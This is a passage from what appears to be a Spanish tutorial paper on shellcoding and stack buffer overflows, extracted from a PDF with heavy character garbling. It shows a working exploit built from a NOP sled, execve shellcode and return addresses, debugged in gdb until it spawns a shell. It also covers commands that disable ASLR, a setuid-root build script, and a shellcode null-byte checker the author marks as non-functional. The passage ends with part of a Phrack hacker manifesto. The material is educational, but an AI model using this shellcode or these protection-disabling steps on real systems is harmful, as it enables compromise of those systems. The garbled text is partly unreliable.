perl -e print "\ x90 " x74 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ;

Cdigo 62. Construccin del parmetro o o a 83

Primero se escriben 74 bytes del NOP Sled, acto seguido se aade el shellcode y n por ultimo se aade 12 veces la direccin de retorno calculada anteriormente. n o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print "\ x90 " x74 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Instrucci n ilegal o n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print "\ x90 " x75 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Fallo de segmentaci n o n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print "\ x90 " x76 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Fallo de segmentaci n o n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print "\ x90 " x77 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Fallo de segmentaci n o

Cdigo 63. Ejecucin del exploit o o Como se puede ver, la ejecucin del exploit no ha sido satisfactoria. As que se o depurar la ejecucin con gdb para entender mejor lo que est ocurriendo. a o a
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtectedAmpliado Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o ... hecho . ( gdb ) run perl -e print "\ x90 " x74 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print "\ x90 " x74 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Program received signal SIGILL , Illegal instruction . 0 xbffff342 in ?? () ( gdb ) quit Una sesi n de depuraci n est activa . o o a Inferior 1 [ process 30423] will be killed . Salir de cualquier modo ? ( y o n ) y n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$

Cdigo 64. Depuracin del exploit o o Como se puede ver, la direccin del registro eip es 0xb342, que es muy cercana o a la que se deseaba, 0xb340. As que el problema no es que la direccin de retorno o no se sobreescriba bien. Muy probablemente, el problema radica en que no se ha elegido correctamente la direccin de retorno. Para saber exactamente dnde se ubica o o 84

el parmetro que se inyecta, se va a realizar un pequea trampa. Se va a mostrar a n el contenido de las direcciones de memoria relativas a la pila. De este modo, se podr identicar donde se ubica el NOP Sled y se conocer la direccin donde se a a o ubica el parmetro inyectado. a
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtectedAmpliado Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o ... hecho . ( gdb ) run perl -e print "\ x90 " x74 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print "\ x90 " x74 . "\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x40 \ xf3 \ xff \ xbf " x12 ; Program received signal SIGILL , Illegal instruction . 0 xbffff342 in ?? () ( gdb ) x /200 x 0 xbffff390 0 xbffff390 : 0 xbffffe0b 0 xbffffe13 0 xbffffe3f 0 xbffffe4e 0 xbffff3a0 : 0 xbffffeb0 0 xbffffeed 0 xbfffff0d 0 xbfffff1a 0 xbffff3b0 : 0 xbfffff27 0 xbfffff49 0 xbfffff62 0 x00000000 0 xbffff3c0 : 0 x00000020 0 x0012e414 0 x00000021 0 x0012e000 0 xbffff3d0 : 0 x00000010 0 xbfe9f3ff 0 x00000006 0 x00001000 0 xbffff3e0 : 0 x00000011 0 x00000064 0 x00000003 0 x08048034 0 xbffff3f0 : 0 x00000004 0 x00000020 0 x00000005 0 x00000008 0 xbffff400 : 0 x00000007 0 x00110000 0 x00000008 0 x00000000 0 xbffff410 : 0 x00000009 0 x080483d0 0 x0000000b 0 x000003e8 0 xbffff420 : 0 x0000000c 0 x000003e8 0 x0000000d 0 x000003e8 0 xbffff430 : 0 x0000000e 0 x000003e8 0 x00000017 0 x00000000 0 xbffff440 : 0 x00000019 0 xbffff46b 0 x0000001f 0 xbfffff9a 0 xbffff450 : 0 x0000000f 0 xbffff47b 0 x00000000 0 x00000000 0 xbffff460 : 0 x00000000 0 x00000000 0 x64000000 0 x4b207e0e 0 xbffff470 : 0 x5f3e166f 0 x29de5d5c 0 x69515e02 0 x00363836 0 xbffff480 : 0 x00000000 0 x00000000 0 x682f0000 0 x2f656d6f 0 xbffff490 : 0 x6c77656e 0 x442f676f 0 x6d75636f 0 x6f746e65 0 xbffff4a0 : 0 x68532f73 0 x636c6c65 0 x6e69646f 0 x6f432f67 0 xbffff4b0 : 0 x6f676964 0 x74532f73 0 x4f6b6361 0 x66726576 0 xbffff4c0 : 0 x73776f6c 0 x7361422f 0 x78456369 0 x6c706d61 0 xbffff4d0 : 0 x61702f65 0 x6f777373 0 x72506472 0 x6365746f 0 xbffff4e0 : 0 x41646574 0 x696c706d 0 x006f6461 0 x90909090 0 xbffff4f0 : 0 x90909090 0 x90909090 0 x90909090 0 x90909090 0 xbffff500 : 0 x90909090 0 x90909090 0 x90909090 0 x90909090 --- Type < return > to continue , or q < return > to quit - - 0 xbffff510 : 0 x90909090 0 x90909090 0 x90909090 0 x90909090 0 xbffff520 : 0 x90909090 0 x90909090 0 x90909090 0 x90909090 0 xbffff530 : 0 x90909090 0 xc0319090 0 x520bb099 0 x732f2f68 0 xbffff540 : 0 x622f6868 0 xe3896e69 0 x53e28952 0 x80cde189 0 xbffff550 : 0 xbffff340 0 xbffff340 0 xbffff340 0 xbffff340 0 xbffff560 : 0 xbffff340 0 xbffff340 0 xbffff340 0 xbffff340 0 xbffff570 : 0 xbffff340 0 xbffff340 0 xbffff340 0 xbffff340 0 xbffff580 : 0 x42524f00 0 x535f5449 0 x454b434f 0 x52494454 0 xbffff590 : 0 x6d742f3d 0 x726f2f70 0 x2d746962 0 x6c77656e 0 xbffff5a0 : 0 x5300676f 0 x415f4853 0 x544e4547 0 x4449505f 0 xbffff5b0 : 0 x3432313d 0 x48530035 0 x3d4c4c45 0 x6e69622f 0 xbffff5c0 : 0 x7361622f 0 x45540068 0 x783d4d52 0 x6d726574 0 xbffff5d0 : 0 x47445800 0 x5345535f 0 x4e4f4953 0 x4f4f435f 0 xbffff5e0 : 0 x3d45494b 0 x65313664 0 x61343137 0 x34656465 0 xbffff5f0 : 0 x66633034 0 x37336635 0 x62633566 0 x30303030 0 xbffff600 : 0 x39303030 0 x3932312d 0 x33313135 0 x2e303031 0 xbffff610 : 0 x30363532 0 x312d3936 0 x38373638 0 x38373739

85

0 xbffff620 : 0 x49570030 0 x574f444e 0 x373d4449 0 x37393435 0 xbffff630 : 0 x00353734 0 x4d4f4e47 0 x454b5f45 0 x4e495259 0 xbffff640 : 0 x4f435f47 0 x4f52544e 0 x742f3d4c 0 x6b2f706d 0 xbffff650 : 0 x69727965 0 x322d676e 0 x65324332 0 x54470079 0 xbffff660 : 0 x4f4d5f4b 0 x454c5544 0 x61633d53 0 x7265626e 0 xbffff670 : 0 x672d6172 0 x6d2d6b74 0 x6c75646f 0 x53550065 0 xbffff680 : 0 x6e3d5245 0 x6f6c7765 0 x534c0067 0 x4c4f435f --- Type < return > to continue , or q < return > to quit - - - q Quit ( gdb ) quit Una sesi n de depuraci n est activa . o o a Inferior 1 [ process 30448] will be killed . Salir de cualquier modo ? ( y o n ) y n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$

Cdigo 65. Direccin de memoria del NOP Sled o o Como se puede ver se examinan las direcciones de memoria contiguas al inicio de la pila, o sea, contiguas a la direccin 0xb390. Si se analizan los datos proo porcionados por gdb se puede comprobar como en la direccin 0xb510 el NOP o Sled ya est presente. As pues, si se utiliza la direccin 0xb510 como direccin de a o o retorno, el ujo de ejecucin del programa se desviar hacia en medio del NOP Sled. o a A continuacin se muestra si este razonamiento es correcto: o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtectedAmpliado Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o ... hecho . ( gdb ) run perl -e print "\ x90 " x74 ."\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x10 \ xf5 \ xff \ xbf " x12 ; Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print "\ x90 " x74 ."\ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " . "\ x10 \ xf5 \ xff \ xbf " x12 ; process 30601 is executing new program : / bin / dash $ exit Program exited normally . ( gdb ) quit

Cdigo 66. Ejecucin correcta del exploit o o Como se puede comprobar, el exploit se ha ejecutado correctamente y gracias a l e se ha ejecutado el shellcode, que ha brindado una shell con la que ejecutar cualquier comando que el atacante quisiera ejecutar. Evidentemente los permisos de la shell son los mismos que los del ejecutable. En este momento se ha conseguido ejecutar un exploit satisfactoriamente para vulnerar toda la seguridad de un sistema.

86

10.

L neas de futuro

Tal y como se puede comprobar leyendo el t tulo de esta investigacin, este trao bajo no es ms que una introduccin al mundo de la explotacin de software. Una a o o vez desarrollado el trabajo, se puede comprobar que se ha hecho ms nfasis en el a e concepto de shellcoding que en el concepto de exploiting. Si bien es cierto que cualquier lector deber ser capaz de programar cualquier tipo de a shellcode que se propusiera, no ocurre lo mismo cuando uno se plantea explotar software. Esta investigacin slo ha podido dar unos conceptos bsicos sobre exploiting, o o a por esta razn, en el tintero han quedado muchos otros conceptos como el desboro damiento de enteros, ataques de formato de cadena, desbordamientos en el heap, bypass de los sistemas de proteccin implementados actualmente o, simplemente, la o explotacin de software en otros sistemas operativos o plataformas. El mundo de la o explotacin de software es complejo y extenso por igual. o Una vez el lector tenga claros los conceptos aqu expuestos deber avanzar hac a a el estudio de desbordamientos en otros segmentos de memoria que no sean la pila. Actualmente, el desbordamiento de bufers en el heap es uno de los errores ms coa munes y ms explotados. Hasta hace bien poco, eran pocos los sistemas de seguridad a implementados en el heap, al contrario de lo que ocurr en la pila, en la que ya se a implementaban medidas de seguridad como los stack canaries. Por otro lado, los desbordamientos de bufers en el heap son altamente peligrosos ya que es en el heap donde se almacenan las direcciones de memoria a los mtodos que forman los ejee cutables programados en lenguajes orientados a objetos. Por esta razn, el siguiente o paso para un apasionado del exploiting ser enfrascarse de lleno en el estudio de las a estructuras de datos implementadas en el heap. Una vez se entendieran los conceptos de desbordamiento de bufers en el heap ya se podr empezar a estudiar cmo vulnerar los sistemas de seguridad implementados a o por el sistema operativo y el compilador para prevenir la explotacin de software. o Actualmente, todos los mtodos de prevencin se pueden vulnerar, aunque esto no e o siempre es posible y existe software vulnerable que no se puede explotar debido a estas medidas de seguridad. Cada d aparecen nuevos mtodos para saltarse estas medidas a e de seguridad y, de igual modo, cada d aparecen nuevos mtodos de seguridad. a e Una vez se dominaran a la perfeccin todas las tcnicas publicadas en los art o e culos ms actuales, el lector ya ser capaz de contribuir con la comunidad de igual modo a a que la comunidad contribuy con l. El circulo se habr cerrado al n. o e a

87

Bibliograf a
[1] Erickson, J.(2008). Hacking: Tcnicas fundamentales. 1a edicin. Espaa: Anaya e o n Multimedia. ISBN 978-84-415-2469-9 [2] Foster, J.; Liu, V.(2006). Writing Security Tools and Exploits. 1a edicin. o Canada: Syngress. ISBN 1-59749-997-8 [3] Harris, S.; Harper, A.; Eagle, C.; Ness J. (2008). Gray Hat Hacking: The Ethical Hackers Handbook. 2a edicin. United States of America: The McGraw-Hill o Companies. ISBN 978-0-07-149568-4 [4] Aleph One. (1996). Smashing The Stack For Fun And Prot. Phrack [en l nea]. Vol. 49. Cap tulo 14.

88

A.

Apndice I e

[Actualizacin]: El cdigo mostrado a continuacin no es funcional. o o o makele


1 2 3 4 5 6 7 8 9 10

CFLAGS = - Wall - Wextra - ggdb all : link Mensajes . o : Mensajes . c Mensajes . h gcc -c Mensajes . c $ ( CFLAGS ) Salida . o : Salida . c Salida . h gcc -c Salida . c $ ( CFLAGS ) Nullbytes . o : Nullbytes . c gcc -c Nullbytes . c $ ( CFLAGS ) link : Mensajes . o Salida . o Nullbytes . o gcc Mensajes . o Salida . o Nullbytes . o -o NullBytes

Cdigo 67. makele o Mensajes.h


1 2 3 4 5 6 7 8

# ifndef _MENSAJES_H # define _MENSAJES_H void Errors ( int numError ) ; void Mensaje () ; # endif

Cdigo 68. Mensajes.h o Mensajes.c


1 2 3 4 5 6 7 8 9 10

# include < stdio .h > # include < stdlib .h > void Errors ( int numError ) { switch ( numError ) { case 1: printf ( " [ -] Usage : ./ NullBytes < program >\ n " ) ; break ; case 2: printf ( " [ -] No se ha podido crear la tuberia \ n " ) ; break ; case 3:

89

11 12 13

14 15 16 17

18 19

20

21

22 23 24 25 26 27 28 29 30

printf ( " [ -] No se ha podido crear el hijo \ n " ) ; break ; case 4: printf ( " [ -] No se han podido duplicar los descriptores de archivo \ n " ) ; break ; case 5: printf ( " [ -] No se han podido ejecutar ndisasm \ n " ) ; break ; case 6: printf ( " [ -] La longitud del parametro es de mas de 145 caracteres \ n " ) ; break ; case 7: printf ( " [+] NullBytes te senalar que instrucciones desensambladas contienen los bytes nulos y ademas cuantos hay en total \ n"); printf ( " [+] El shellcode desensamblado no puede tener mas de 5000 bytes .\ n " ) ; printf ( " [+] Usage : ./ NullBytes < program >\ n " ) ; break ; default : break ; } exit ( -1) ; } void Mensaje () { printf ( " \ n [+] NullBytes v0 .1 , por Albert Lopez Fernandez \ n " ) ; printf ( " [+] Haciendo uso de la utilidad ndisasm ,\ n " ) ; printf ( " [+] NullBytes te permite saber si tu shellcode contiene bytes nulos y donde se encuentran \ n \ n "); }

31 32 33

34

Cdigo 69. Mensajes.c o Salida.h


1 2 3 4 5 6 7 8 9

# ifndef _SALIDA_H # define _SALIDA_H void Proceso ( char * salida ) ; # endif \ end { verbatim }\ bigskip \ textbf { Salida . c }

90

10 11 12 13 14

\ begin { verbatim } # define GNU_SOURCE # include < stdio .h > # include < string .h > # include < stdlib .h > y size_t

// Para los tipos de variable ssize_t

15 16 17 18 19 20 21 22 23 24

void Proceso ( char * salida ) { // printf (" % s \ n " , salida ) ; char * linea = NULL , CodigoMaquina [70] , Opcode [70] , * str1 ; const char * delim = " \ n " ; size_t i = 0 , j ; size_t BytesNulos = 0; char * saveptr1 ; // El primer valor de str1 ha de ser cadena , despues ha de ser NULL siempre for ( str1 = salida ; ; str1 = NULL ) { // Dejamos que strtok_r haga su magia linea = strtok_r ( str1 , delim , & saveptr1 ) ; // Si ya lo hemos capturado todo salimos if ( linea == NULL ) break ; bzero ( CodigoMaquina , sizeof ( CodigoMaquina ) ) ; i = 0; while ( ( linea [10+ i ] < 97) || ( linea [10+ i ] > 122) ) { // Mientras no leamos una minscula ( signo de que es un opcode ) CodigoMaquina [ i ] = linea [10+ i ]; // En linea [10] empieza el codigo maquina i ++; } // fin while bzero ( Opcode , sizeof ( Opcode ) ) ; j = i; while ( (( linea [10+ i ] != \ n ) || ( linea [10+ i ] != \0 ) ) && (( i +10) < strlen ( linea ) ) ) { Opcode [i - j ] = linea [10+ i ]; i ++; } i = 0; while ( CodigoMaquina [ i ] != \0 ) { if ( ( ( i % 2) == 0 ) && ( CodigoMaquina [ i ] == 48 ) && ( CodigoMaquina [ i +1] == 48 ) ) { // Tenemos un byte nulo

25 26 27 28 29 30 31 32 33 34

35

36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

91

51 52 53 54 55 56 57 58 59

printf ( " Byte Nulo en %s perteneciente a la instruccion %s \ n " , CodigoMaquina , Opcode ) ; BytesNulos ++; } i ++; } } // Fin for printf ( " \ nHay un total de %d bytes nulos \ n " , BytesNulos ) ; }

Cdigo 70. Salida.h o Nullbytes.c


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

17 18

19 20 21 22 23 24 25 26 27 28 29

# include < stdio .h > # include < stdlib .h > # include < unistd .h > # include < string .h > # include < signal .h > # include " Mensajes . h " # include " Salida . h " /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Este codigo interpretara la salida del comando : * * ndisasm - b32 ejecutable * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ void Errors ( int numError ) ; void Mensaje () ; int main ( int argc , char ** argv ) { Mensaje () ; signal ( SIGCHLD , SIG_IGN ) ; // Els fills matats no quedaran zombis if ( argc < 2 || argc > 2 ) Errors (1) ; if ( strcmp ( argv [1] , " -- help " ) == 0 || strcmp ( argv [1] , " -h " ) == 0 ) Errors (7) ; int fd [2] , pid ; char salida [10000] , argumentos [150]; bzero ( argumentos , sizeof ( argumentos ) ) ; if ( strlen ( argv [1]) > 144 ) Errors (6) ; strncat ( argumentos , argv [1] , 144) ; if ( pipe ( fd ) == -1 ) Errors (2) ; pid = fork () ; switch ( pid ) {

92

30

31 32 33 34 35 36

37 38 39 40 41 42 43 44 45 46 47 48 49 50

case -1: Errors (3) ; break ; // No s ha creat el nou proces case 0: close ( fd [0]) ; // Tot el que surti per pantalla ho enviem a fd [1] if ( dup2 ( fd [1] ,1) == -1 ) Errors (4) ; // Executem ndisasm - b32 < programa > if ( execlp ( " ndisasm " , " ndisasm " , " -u " , argumentos , NULL ) == -1 ) Errors (5) ; close ( fd [1]) ; break ; default : close ( fd [1]) ; bzero ( salida , sizeof ( salida ) ) ; read ( fd [0] , salida , 10000) ; Proceso ( salida ) ; close ( fd [0]) ; kill ( pid , SIGKILL ) ; break ; } return 0; }$

Cdigo 71. Nullbytes.C o

93

B.

Apndice II e

En este apndice se explican algunas de las medidas de seguridad implementadas e por el sistema operativo Unix y el compilador GCC. Adems, tambin se detalla el a e modo de desactivar dichas medidas de seguridad. Por otro lado, en este apndice tambin se detallan los diferentes mtodos de e e e compilacin que se han utilizado en esta investigacin para generar los ejecutables o o necesarios. Medidas de seguridad La principal medida de seguridad que implementa el sistema operativo Linux es la conocida como Address Space Layout Randomization o ASLR. Esta medida de seguridad se basa en randomizar la posicin de memoria donde se ubican algunas o estructuras de datos en memoria, como, por ejemplo, la pila. En la mayor de sistemas basta con ejecutar los siguientes comandos para desa activar esta medida de seguridad. Estos comandos se deben ejecutar como usuario root.
echo " 0 " > / proc / sys / kernel / r a n d o m i z e _ v a _ s p a c e echo " 0 " > / proc / sys / kernel / exec - shield echo " 0 " > / proc / sys / kernel / exec - shield - randomize

Cdigo 72. Desactivando medidas de seguridad o Para comprobar que ASLR est desactivada, basta con ejecutar el siguiente cdigo a o fuente varias veces.
1 2 3 4 5 6 7 8 9 10 11 12

# include < stdio .h > int main ( int argc , char ** argv ) { int reg_esp ; __asm__ __volatile__ ( " mov % %esp , %0" : " = g " ( reg_esp ) ) ; printf ( " ESP value : %p \ n " , ( void *) reg_esp ) ; return 0; }

Cdigo 73. Comprobando ASLR o 94

Si el valor del registro esp que se muestra al ejecutar este cdigo varias veces es o diferente, signica que la medida de seguridad ASLR est activada. Si el valor es el a mismo despus de varias ejecuciones, ASLR est desactivada. e a Como se puede comprobar a continuacin, ASLR est activado: o a
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ ESP value : 0 xbfdc8140 n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ ESP value : 0 xbfd09ad0 n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ ESP value : 0 xbfabb960 n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ ESP value : 0 xbf8b6970 ./ isASLREnabled ./ isASLREnabled ./ isASLREnabled ./ isASLREnabled

Cdigo 74. ASLR activado o Sin embargo, cuando se ejecutan las instrucciones comentadas anteriormente, se puede comprobar que la randomizacin de direcciones se desactiva: o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ su root Contrase~ a : n root @Beleria nd :/ home / newlog / Documentos / Shellcoding / Codigos / S ec ur i ty Me su r es # echo " 0 " > / proc / sys / kernel / r a n d o m i z e _ v a _ s p a c e root @Beleria nd :/ home / newlog / Documentos / Shellcoding / Codigos / S ec ur i ty Me su r es # echo " 0 " > / proc / sys / kernel / exec - shield root @Beleria nd :/ home / newlog / Documentos / Shellcoding / Codigos / S ec ur i ty Me su r es # su newlog n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ ./ isASLREnabled ESP value : 0 xbffff3b0 n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ ./ isASLREnabled ESP value : 0 xbffff3b0 n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / S e c u r i t yM e s u r e s $ ./ isASLREnabled ESP value : 0 xbffff3b0

Cdigo 75. ASLR desactivado o Como se puede ver, no se ha modicado el valor del archivo exec-shield-randomize. Esto se debe a que en el sistema operativo desde el que se estn ejecutando estas a operaciones, dicho archivo no existe. Dependiendo de cada sistema, es posible que se deban modicar la totalidad de los archivos mencionados o slo algunos de ellos. o Para obtener ms informacin sobre los mtodos de seguridad implementados por a o e el sistema operativo y sus consecuencias sobre la ejecucin de shellcodes, a pie de o pgina se referencian algunos enlaces con ms informacin47 , 48 49 50 . a a o
http://www.wadalbertia.org/foro/viewtopic.php?f=6&t=6048&sid= ac23ff1e49ce104365b1ce93c2a0d076 48 http://www.vlan7.org/2010/10/shellcoding-sin-gcc-solo-con-nasmld.html 49 http://www.vlan7.org/2010/10/creando-shellcodes-position-independent.html 50 http://www.vlan7.org/2010/10/shellcoding-vueltas-con-el-flag-nx.html
47

95

Mtodos de compilacin e o En esta investigacin se han utilizado diferentes mtodos de compilacin para o e o diferentes situaciones. En cada una de estas situaciones ya se ha justicado el porqu de dicha eleccin, por esta razn, en este apartado sse explicar qu es lo que se e o o a e consigue compilando el cdigo de un modo u otro. o Para la mayor de cdigos en ensamblador compilados en este trabajo se ha a o utilizado el siguiente script:
1 2 3 4 5 6 7 8 9 10 11

# !/ bin / bash echo " #### Generating executable ... source = $1 ; sourceDOTo = echo $ { source /. S /. o } executable = echo $ { source /. S /} echo " sourceDOTo = $sourceDOTo " echo " executable = $executable " nasm -f elf $source ld -o $executable $sourceDOTo sudo chown root $executable sudo chmod + s $executable

#### "

Cdigo 76. Script para la generacin de los ejecutables o o Con la cuarta l nea se almacena en la variable sourceDOT o el valor del parmetro a pasado sin la extensin .S. Con la quinta l o nea se elimina la extensin .S del parmetro o a pasado al script. Con la instruccin de la octava l o nea ensambla el archivo pasado como argumento en el formato ejecutable ELF. La siguiente instruccin linca el archivo generado por o la herramienta nasm y genera el ejecutable nal. Con la penltima l u nea se modica el propietario del ejecutable para que sea el usuario root. Con la ultima l nea se especica que el ejecutable se ejecute con el identicador de usuario efectivo del usuario que es propietario del ejecutable. Por otro lado, los cdigos fuentes en C se han compilador con el compilador GCC. o Una de las sintaxis ms bsicas utilizadas en el momento de compilador un cdigo a a o fuente es:
gcc sourceCode . c -o executable

Cdigo 77. Sintaxis bsica de GCC o a Con esta sintaxis se consigue compilar el cdigo fuente sourceCode.c y generar o el ejecutable executable.. A parte de esta sintaxis, GCC proporciona much simas ms opciones de compilacin. a o 96

En esta investigacin se han utilizado, bsicamente, dos modicadores ms. o a a El primero de ellos es el modicador g con lo que se generan s mbolos de depuracin o para que la depuracin del ejecutable sea ms fcil. Gracias a este modicador, por o a a ejemplo, un programador puede obtener leer el valor de las variables de un programa a partir de su nombre desde el depurador gdb. El otro modicador que se ha utilizado en esta investigacin ha sido -fno-stacko protector. Con este modicador se le especica a GCC que no implemente ningn u tipo de proteccin en la pila. Si no fuera por la especicacin de este modicador, o o cuando ocurriera un desbordamiento de bfer en la pila su explotacin, en teor se u o a, prevendr a.

97

==Phrack Inc.== Volume One, Issue 7, Phile 3 of 10 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The following was written shortly after my arrest... The Conscience of a Hacker by +++The Mentor+++ Written on January 8, 1986 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Another one got caught today, its all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. Theyre all alike. But did you, in your three-piece psychology and 1950s technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world that begins with school... Im smarter than most of the other kids, this crap they teach us bores me... Damn underachiever. Theyre all alike. Im in junior high or high school. Ive listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didnt show my work. I did it in my head..." Damn kid. Probably copied it. Theyre all alike. I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, its because I screwed it up. Not because it doesnt like me... Or feels threatened by me... Or thinks Im a smart ass... Or doesnt like teaching and shouldnt be here... Damn kid. All he does is play games. Theyre all alike. And then it happened... a door opened to a world... rushing through 98

the phone line like heroin through an addicts veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is where I belong..." I know everyone here... even if Ive never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. Theyre all alike... You bet your ass were all alike... weve been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. Weve been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert. This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasnt run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe its for our own good, yet were the criminals. Yes, I am a 